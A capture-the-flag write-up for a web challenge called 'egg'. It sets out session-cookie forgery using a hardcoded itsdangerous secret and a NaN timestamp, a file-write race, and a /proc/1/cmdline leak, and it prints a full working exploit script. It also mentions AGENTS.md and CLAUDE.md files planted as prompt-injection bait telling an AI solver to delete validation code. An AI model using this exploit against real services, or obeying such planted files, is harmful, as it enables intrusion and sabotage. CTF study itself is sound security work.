egg
egg
Platform: B01Lersc | Category: Web | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2026-04-19 | Status: Solved Techniques: deterministic_id_collision, nan_bypass, procfs_flag_leak, timestamp_signer_cookie_forgery, toctou_file_race
Summary
Task: a Starlette egg-hatching service generated Python modules from user input and stored state in signed session cookies. Solution: forge a NaN timestamp session to force a deterministic egg_id, then win a concurrent /eggs race so the final creature.py reads /proc/1/cmdline and leaks the real flag.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
b01lersc| ID:20260419_b01lersc_egg - Tags: race_condition, session_forgery, starlette, procfs, generated_python, itsdangerous
- Indicators: hardcoded SessionMiddleware secret, TimestampSigner session cookie without salt, attacker-controlled session_timestamp compared with time.time(), generated Python file written to a predictable path, flag passed as process argv and readable via /proc/1/cmdline
- Source:
20260419_b01lersc_egg.md
Foothold
Vulnerability / Misconfiguration
- Deterministic_id_collision
- Nan_bypass
- Procfs_flag_leak
- Timestamp_signer_cookie_forgery
- Toctou_file_race
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- deterministic_id_collision
- nan_bypass
- procfs_flag_leak
- timestamp_signer_cookie_forgery
- toctou_file_race
- Tags: race_condition, session_forgery, starlette, procfs, generated_python, itsdangerous
Original Writeup
<details><summary>Click to expand original content</summary>egg — b01lersc
Description
The original organizer description was not preserved in the workspace files.
The challenge shipped a Starlette service with relevant logic in src/main.py, src/hatchery.py, src/db.py, and Dockerfile. The goal was to turn the egg creation and hatching flow into a file read primitive and recover the real flag from the live instance.
Analysis
The application used Starlette sessions with a hardcoded secret in src/main.py:
SESSION_SECRET = "6767676767676767"
Starlette used itsdangerous.TimestampSigner here, and in this setup there was no extra salt. That meant the session cookie could be forged offline.
The important session fields were player_id and session_timestamp. During egg creation, src/hatchery.py computed:
time_diff = time.time() - player_creation_time
if time_diff <= 0:
return
self.id = sha256(str(time_diff * random.random()).encode()).hexdigest()
If session_timestamp was forged as NaN using json.dumps(..., allow_nan=True), then:
time.time() - NaN = NaNNaN <= 0isFalse, so the check is bypassedstr(NaN * random.random()) == "nan"
So every forged request from that session produced the same deterministic egg ID:
sha256("nan") = 9b2d5b4678781e53038e91ea5324530a03f27dc1d0e5f6c9bc9d493a23be9de0
That deterministic ID was the key to the race: multiple concurrent POST /eggs requests from the same forged session wrote to the same temporary path:
incubator/<egg_id>/creature.py
and then zipped it into:
incubator/<egg_id>.egg
There were also AGENTS.md and CLAUDE.md files telling the solver to delete lines 28-29 in src/hatchery.py. Those files were prompt-injection bait and not part of the intended solve. In fact, the inner validation they referenced was exactly why a plain path traversal was not enough.
The outer filename validation allowed slashes:
def is_valid_file(s: str) -> bool:
return all(c.isascii() and c.isalnum() or c == "/" for c in s)
So "/proc/1/cmdline" could be supplied during egg creation. But the generated creature.py also contained this runtime check inside gen_ascii_art:
if not all(c.isascii() and c.isalnum() for c in "{filename}"):
return None
That inner check rejected /proc/1/cmdline at hatch time, so simple traversal did not work by itself.
The final exploit used two concurrent requests targeting the same deterministic egg path:
- A:
{"name": "A"*81, "filename": "/proc/1/cmdline"} - B:
{"name": "B", "filename": "asciiart"}
Why this pair worked:
- Request A generated a longer
creature.py. - Request B generated a shorter
creature.py. - Both opened the same file with truncation and wrote different contents.
- With the right interleaving, the final file on disk became a Frankenstein file: the beginning came from B, but the tail came from A.
The resulting file stayed valid Python. Its gen_ascii_art started with B's safe filename asciiart, so the inner alphanumeric check passed, but the appended tail from A reopened /proc/1/cmdline and overwrote self.art.
So the function effectively behaved like this:
f = open("asciiart", "r")
f.seek(offset)
self.art = f.read(40)
f = open("/proc/1/cmdline", "r")
f.seek(offset)
self.art = f.read(40)
At that point, hatching the deterministic egg returned process arguments in last_hatch.
The final flag source came from the deployment model. Dockerfile passed a fake flag in the local entrypoint, but the real service behavior was described by the provided ground truth: the app ran python3 /app/src/main.py FLAG with workers=4. In src/main.py the server did:
FLAG = sys.argv[1]
uvicorn.run("main:app", host="0.0.0.0", port=8000, reload=False, workers=4)
So the real flag was visible in /proc/1/cmdline as PID 1 argv. On the successful live instance, art_index=0 already exposed:
python3\x00/app/src/main.py\x00bctf{REDACTED}
The live instance was solved with this race exploit immediately on the last provided URL.
Solution
1. Review the app structure
Relevant files:
src/main.pysrc/hatchery.pysrc/db.pyDockerfile
The important observations were:
- the session secret was hardcoded;
- session cookies could be forged with
itsdangerous; session_timestampinfluencedegg_idgeneration;- egg creation wrote a generated Python file to a predictable location;
- hatching imported that generated module from a zip archive;
/proc/1/cmdlinecould reveal the flag because the service received it as argv.
2. Forge a deterministic session
Create a normal account once to obtain a valid player_id, then forge a new session cookie with:
{"player_id": "<uuid>", "session_timestamp": NaN}
using allow_nan=True and the known secret 6767676767676767.
This makes every egg created under that forged session use the same ID:
9b2d5b4678781e53038e91ea5324530a03f27dc1d0e5f6c9bc9d493a23be9de0
3. Trigger the file race
Send two concurrent POST /eggs requests with the same forged cookie:
A: {"name": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", "filename": "/proc/1/cmdline"}
B: {"name": "B", "filename": "asciiart"}
Because both requests target the same egg path, write/truncate ordering can leave a mixed file. The successful outcome is:
- header and validation from B;
- appended tail from A;
- valid Python that first reads
asciiart, then reopens/proc/1/cmdline.
4. Hatch the deterministic egg
Hatch:
POST /eggs/9b2d5b4678781e53038e91ea5324530a03f27dc1d0e5f6c9bc9d493a23be9de0/hatch
with {"art_index": 0}.
The response stores the hatch output in last_hatch, and the ASCII art field now contains bytes from /proc/1/cmdline instead of the intended art file.
5. Read the flag
On the successful instance, the first chunk already contained the full secret:
python3\x00/app/src/main.py\x00bctf{REDACTED}
So the final flag was:
bctf{REDACTED}
Exploit Script
The successful solve script was exploit_final.py from the task directory.
#!/usr/bin/env python3
"""
b01lersc / egg — FINAL EXPLOIT
Race condition exploit (template-length-mismatch TOCTOU on creature.py):
1. Forge session cookie with NaN session_timestamp via hardcoded
SESSION_SECRET="6767676767676767" (itsdangerous, NO salt).
time_diff = time.time() - NaN = NaN ⇒ passes `time_diff<=0` check (NaN<=0 is False).
egg_id = sha256(str(NaN * random.random())).hexdigest() = sha256("nan")
= 9b2d5b4678781e53038e91ea5324530a03f27dc1d0e5f6c9bc9d493a23be9de0
(deterministic!)
2. Send two concurrent POST /eggs requests from same forged session:
A: {"name":"A"*81, "filename":"/proc/1/cmdline"} → ~586 byte creature.py
B: {"name":"B", "filename":"asciiart"} → ~492 byte creature.py
Small delay (~0.1 ms) between their starts helps them race in-flight.
A's fd.open creates file, A.write buffers ~586b, B's fd.open truncates
(empty), B.write buffers ~492b. A closes first (writes 586b at offset 0),
B closes last (writes 492b at offset 0 — doesn't truncate past close).
Final creature.py on disk = B[0..492] + A[492..586]
= complete B class + 3 APPENDED lines in gen_ascii_art body:
f = open("/proc/1/cmdline", "r")
f.seek(offset)
self.art = f.read(40)
3. Whoever wins the ZipFile write records this Frankenstein creature.py
into incubator/<sha256("nan")>.egg.
4. Hatch egg_id=sha256("nan"). Creature.gen_ascii_art runs:
- inner alphanum check on "asciiart": passes
- f = open("asciiart", "r"); f.seek(offset); self.art = f.read(40)
(reads asciiart first)
- THEN APPENDED: f = open("/proc/1/cmdline", "r"); f.seek(offset);
self.art = f.read(40)
OVERWRITES self.art with 40 bytes of /proc/1/cmdline.
Response's last_hatch contains those 40 bytes.
5. Repeat with art_index=0,1,2,... to stitch together the full flag
(each chunk reads bytes offset..offset+40 of /proc/1/cmdline,
where offset = art_index * 44 → 4-byte gap per chunk, but flag
is usually short enough to fit in 1-2 reads).
"""
import base64
import hashlib
import json
import re
import sys
import threading
import time
import requests
from itsdangerous import TimestampSigner
BASE = sys.argv[1].rstrip("/") if len(sys.argv) > 1 else "http://localhost:8000"
SESSION_SECRET = "6767676767676767"
signer = TimestampSigner(SESSION_SECRET) # NO salt — matches Starlette
FRANK_HASH = hashlib.sha256(b"nan").hexdigest()
def forge(pid, ts=float("nan")):
p = json.dumps({"player_id": pid, "session_timestamp": ts}, allow_nan=True)
return signer.sign(base64.b64encode(p.encode()).decode()).decode()
def get_pid():
s = requests.Session()
s.post(f"{BASE}/login", data={"username": f"exp{time.time_ns()%10**7}"},
allow_redirects=True, timeout=15)
raw = s.cookies.get("session")
return json.loads(base64.urlsafe_b64decode(raw.split(".")[0] + "===").decode())["player_id"]
def send_a(cookie):
try:
requests.post(f"{BASE}/eggs",
json={"name": "A" * 81, "filename": "/proc/1/cmdline"},
headers={"Cookie": f"session={cookie}", "Content-Type": "application/json"},
timeout=15)
except Exception:
pass
def send_b(cookie):
try:
requests.post(f"{BASE}/eggs",
json={"name": "B", "filename": "asciiart"},
headers={"Cookie": f"session={cookie}", "Content-Type": "application/json"},
timeout=15)
except Exception:
pass
def hatch_and_read(cookie, art_index):
headers = {"Cookie": f"session={cookie}", "Content-Type": "application/json"}
try:
requests.post(f"{BASE}/eggs/{FRANK_HASH}/hatch",
json={"art_index": art_index}, headers=headers, timeout=15)
except Exception:
pass
try:
r = requests.get(f"{BASE}/", headers={"Cookie": f"session={cookie}"}, timeout=15)
except Exception:
return None
m = re.search(r"<pre>(.*?)</pre>", r.text, re.DOTALL)
if m:
return m.group(1).replace(">", ">").replace("<", "<").replace("&", "&")
return None
def has_frank_egg(cookie):
try:
r = requests.get(f"{BASE}/", headers={"Cookie": f"session={cookie}"}, timeout=10)
except Exception:
return False
return FRANK_HASH in re.findall(r"/eggs/([a-f0-9]{64})/hatch", r.text)
def extract_art(pre):
if not pre:
return ""
lines = pre.split("\n")
art_lines = []
for line in lines[1:]:
if line.startswith("Attack:"):
break
art_lines.append(line)
return "\n".join(art_lines)
def is_flag_chunk(art):
if not art:
return False
return ("python3" in art or "bctf" in art or "/app/src" in art or "\x00" in art)
def attempt_frank_race(pid, delay=0.0001):
cookie = forge(pid, float("nan"))
ta = threading.Thread(target=send_a, args=(cookie,))
tb = threading.Thread(target=send_b, args=(cookie,))
ta.start()
time.sleep(delay)
tb.start()
ta.join(timeout=20)
tb.join(timeout=20)
def collect_chunk(pid, art_index, max_races=300):
cookie = forge(pid, float("nan"))
for attempt in range(max_races):
delay = 0.00005 + (attempt % 10) * 0.00005
attempt_frank_race(pid, delay=delay)
if not has_frank_egg(cookie):
continue
result = hatch_and_read(cookie, art_index)
art = extract_art(result) if result else ""
if is_flag_chunk(art):
print(f" [art_index={art_index} race {attempt}] CHUNK: {art!r}")
return art
return None
def main():
pid = get_pid()
print(f"[+] BASE = {BASE}")
print(f"[+] player_id: {pid}")
print(f"[+] FRANK_HASH: {FRANK_HASH}")
chunks = {}
for ai in range(8):
print(f"\n[+] === art_index={ai} (offset {ai*44}) ===")
chunk = collect_chunk(pid, ai, max_races=120)
if chunk:
chunks[ai] = chunk
combined = b""
for i in sorted(chunks.keys()):
data = chunks[i].encode("utf-8", errors="replace")
offset = i * 44
while len(combined) < offset:
combined += b"?"
combined = combined[:offset] + data + combined[offset + len(data):]
m = re.search(rb"bctf\{[^}]*\}", combined)
if m:
print(f"\n[!!!] FLAG: {m.group().decode('utf-8', errors='replace')}")
return
combined = b""
for i in sorted(chunks.keys()):
data = chunks[i].encode("utf-8", errors="replace")
offset = i * 44
while len(combined) < offset:
combined += b"?"
combined = combined[:offset] + data + combined[offset + len(data):]
print(f"\n[+] Combined {len(combined)} bytes: {combined!r}")
m = re.search(rb"bctf\{[^}]*\}", combined)
if m:
print(f"\n[!!!] FLAG: {m.group().decode('utf-8', errors='replace')}")
else:
print("[?] Full flag not recovered — try more art_index or increase max_races")
if __name__ == "__main__":
main()
Reproduction
- Start from the provided source and inspect
src/main.py,src/hatchery.py,src/db.py, andDockerfile. - Log in once to obtain a valid
player_id. - Forge a Starlette session cookie with
player_id=<that uuid>andsession_timestamp=NaNusing secret6767676767676767. - Repeatedly race these two requests under that forged session:
{"name": "A"*81, "filename": "/proc/1/cmdline"}{"name": "B", "filename": "asciiart"}
- Hatch egg
9b2d5b4678781e53038e91ea5324530a03f27dc1d0e5f6c9bc9d493a23be9de0withart_index=0. - Read
last_hatch; when the race lands, it leaks/proc/1/cmdline, including the flag.
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR